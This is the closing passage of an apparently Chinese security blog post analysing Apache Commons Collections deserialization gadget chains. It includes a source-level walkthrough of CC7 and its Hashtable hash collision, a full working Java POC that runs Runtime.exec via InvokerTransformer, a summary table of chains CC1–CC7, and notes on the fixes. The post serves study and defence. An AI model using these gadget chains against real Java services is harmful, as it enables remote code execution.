try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
...
}

m.get(key)调用了,m由函数参数o赋值,因此我们需要寻找一个方法,其中调用了equals且调用者和参数可控,此时找到

java.util.Hashtable#reconstitutionPut

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode(); // 注意这里
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
...
}

需要e.key可控,且key可控的话,e由table[index]来获取,key是参数,因此我们找下调用reconstitutionPut的其他方法,可以找到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
  private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
...
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
}

这里table,key,value均可控,因此整个链子就构造好了。

接下来分析一下链子的各种分支条件,以及是如何联系Hash冲突的。我们先把链子的POC大体写好,然后正向跟踪调试。我们先设置以下值

1
2
3
4
5
6
7
8
9
10
11
12
13
      Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); // 先不管transformerChain
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

然后调试一下,定位到readObject

image-20210602192324291

elements为2,相当于Hashtable的容量,因此这里会经历两次reconstitutionPut,

image-20210602192503428

第一次由于e = table[index]为null,所以不会进入for循环,而在后续将第一个LazyMap存入**table[index]**中,注意一下index,要想调用

e.key.equals(key),意味着e.hash == hash必须为true,而for循环根据index取值e,所以我们要想让前一个的hash等于当前的e.hash,那么我们需要让table[index]前后都取出同一个值,也就是说index相等,而index的相等取决于前后两次key.hashCode()是否相等,这里的key是LazyMap,我们看一下LazyMap#hashCode是如何调用计算的

image-20210602193022466

LazyMap调用父类AbstractMapDecorator#hashCode,map就是我们传入的innermap参数(即HashMap)

image-20210602193259927

然后用迭代器取出每个节点,对其调用hashCode

image-20210602193349930

最终其实是对key和value分别进行hashCode后异或。因此对LazyMap的hashCode实质是对其成员变量map(这里设为HashMap)的key和value进行hashCode。而利用LazyMap#put实际上是给其map变量调用map.put,所以以下两种写法都可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//1       
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// 2
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
innerMap1.put("yy", 1);
innerMap2.put("zZ", 2)
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
public static void main(String[] args) throws Exception {
Transformer[] fakeChain = new Transformer[]{new ConstantTransformer(1)};
Transformer[] realChain = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})};

Transformer chain = new ChainedTransformer(fakeChain);
Map innermap1 = new HashMap();
Map innermap2 = new HashMap();

// 触发map
Map outermap1 = LazyMap.decorate(innermap1, chain);
Map outermap2 = LazyMap.decorate(innermap2, chain);
outermap1.put("yy", 1);
outermap2.put("zZ", 1);

Hashtable ht = new Hashtable(2);
ht.put(outermap1, 1);
ht.put(outermap2, 2);
System.out.println(ht.size());

Field f = chain.getClass().getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chain, realChain);

ByteArrayOutputStream br = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(br);
oos.writeObject(ht);
//System.out.println(br);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(br.toByteArray()));
ois.readObject();
}
}

总结

针对CC链,总结了一个表,包含一个Gadgets从Source->Intermedieta Class->Sink的过程,以及涉及到的一些细节问题

Name POP 依赖 优先级 Details
CC1 AnnotationInvocationHandler CC <= 3.2.1 1.高版本无法利用:AnnotationInvocationHandler的处理逻辑变了,memberValues在反序列化后无法设置成代理类
LazyMap#get() Java < 8u71 2.动态代理调用invoke
ChainedTransformer#transform() 2.触发两次RCE:第一次是IDEA导致的,当我们设置好代理类后,IDEA底层会调用一下其他方法,任意方法都可以导致RCE的触发
CC2 PriorityQueue CC4.0 1.javassist动态生成恶意类的字节码
TransformingComparator#compare() 2.PQ的size要大于2,且设置需要用反射(元素类型限制)
InvokerTransformer#transform() 3.依赖CC4,不能在CC3.2.1中利用,因为TransformingComparator未实现反序列化接口
CC3 AnnotationInvocationHandler CC <= 3.2.1 1.加载字节码的4种方式
LazyMap#get()
InstantiateTransformer.transform()
TrAXFilter#TrAXFilter()
Java < 8u71 2.CC1前半部分 +
TemplatesImpl#newTransformer() 3.TemplatesImpl作为Sink
CC4 PriorityQueue CC4.0 1.保留CC1前半部分
LazyMap#get()
TemplatesImpl#newTransformer()
CC5 BadAttributeValueExpException CC <= 3.2.1 2.保留CC1后半部分
TiedMapEntry.toString()
LazyMap.get()
Java >= 8u76
InvokerTransformer#transform() SecurityManger 未开启
CC6 HashSet CC <= 3.2.1 1.高版本8u71后可利用
HashMap#put()
TiedMapEntry#getValue
LazyMap#get()
2.反射修改HashSet的table数组的一个Node的key为TiedMapEntry
InvokerTransformer#transform()
CC7 Hashtable CC <= 3.2.1 1.Hash碰撞(“yy”和”zZ”)
AbstractMap#equals()
LazyMap#get()
2.最后要remove掉一个key
InvokerTransformer#transform()
  • 高版本可用:CC2、CC4、CC5、CC6
  • 依赖:
    • CC1、3、5、6:Commons Collections <= 3.2.1
    • CC2、4: Commons Collections >= 4.0

修复

更新版本CC4.1和CC3.2.2

  • CC3.2.2:新增反序列化黑名单检查类FunctorUtils#checkUnsafeSerialization,检测反序列化是否安全。如果开发者没有设置全局配置 org.apache.commons.collections.enableUnsafeSerialization=true ,即默认情况下会抛出异常。其限制了大部分Transformer类,如InstantiateTransformer 、 InvokerTransformer 、 PrototypeFactory 、 CloneTransformer等
  • CC4.1:作为Sink的常见Transformer类直接不实现Serializable接口。

CC链中的所有链子都利用了相关的Transformer类(Sink或中间类中),以此来进行修复。

参考

https://xz.aliyun.com/t/3847#toc-8

https://plentymore.github.io/2019/01/04/IDEA%E6%9F%A5%E7%9C%8BJava%E7%9A%84sun%E5%8C%85%E4%B8%8B%E7%9A%84%E6%BA%90%E7%A0%81/

https://www.guildhab.top/2020/09/java-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E13-%E8%A7%A3%E5%AF%86-ysoserial-commonscollections7-pop-chains/

https://paper.seebug.org/1242/#commons-collections-7

https://www.guildhab.top/2020/04/java-rmi-%e5%88%a9%e7%94%a83-java-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e%e7%ae%80%e8%bf%b0-%e4%bb%a5%e5%8f%8a-%e6%b5%81%e9%87%8f%e5%88%86%e6%9e%90/

https://www.cnblogs.com/lanxuezaipiao/p/3369962.html

P师傅的java安全漫谈 反序列化系列 - 至今

CATALOG
  1. 1. 前言
  2. 2. CC1
    1. 2.1. 利用链
    2. 2.2. 动态代理
    3. 2.3. 分析2
    4. 2.4. POC2
    5. 2.5. 为什么高版本无法利用*
  3. 3. CC2
    1. 3.1. 利用链1
    2. 3.2. 分析
    3. 3.3. POC1
    4. 3.4. 利用链2
    5. 3.5. javassist
      1. 3.5.1. 新建.class文件
      2. 3.5.2. 常用API
      3. 3.5.3. 调用类对象
    6. 3.6. POC2
    7. 3.7. 其他细节
  4. 4. CC3
    1. 4.1. 加载字节码
      1. 4.1.1. 利用URLClassLoader加载远程class文件
      2. 4.1.2. 利用ClassLoader#defineClass直接加载字节码
      3. 4.1.3. 利用TemplatesImpl加载字节码
      4. 4.1.4. 利用BCEL ClassLoader加载字节码
    2. 4.2. 利用链
    3. 4.3. 分析
    4. 4.4. POC1 字节码字符串
    5. 4.5. POC2 利用javassist来构造
  5. 5. CC4
    1. 5.1. 利用链
    2. 5.2. POC
  6. 6. CC5
    1. 6.1. 利用链
    2. 6.2. 分析
    3. 6.3. POC
  7. 7. CC6
    1. 7.1. 利用链
    2. 7.2. 分析
    3. 7.3. POC1
    4. 7.4. 简化链
    5. 7.5. POC2
  8. 8. CC7
    1. 8.1. 利用链
    2. 8.2. Hash冲突
    3. 8.3. 分析
    4. 8.4. POC
  9. 9. 总结
  10. 10. 修复
  11. 11. 参考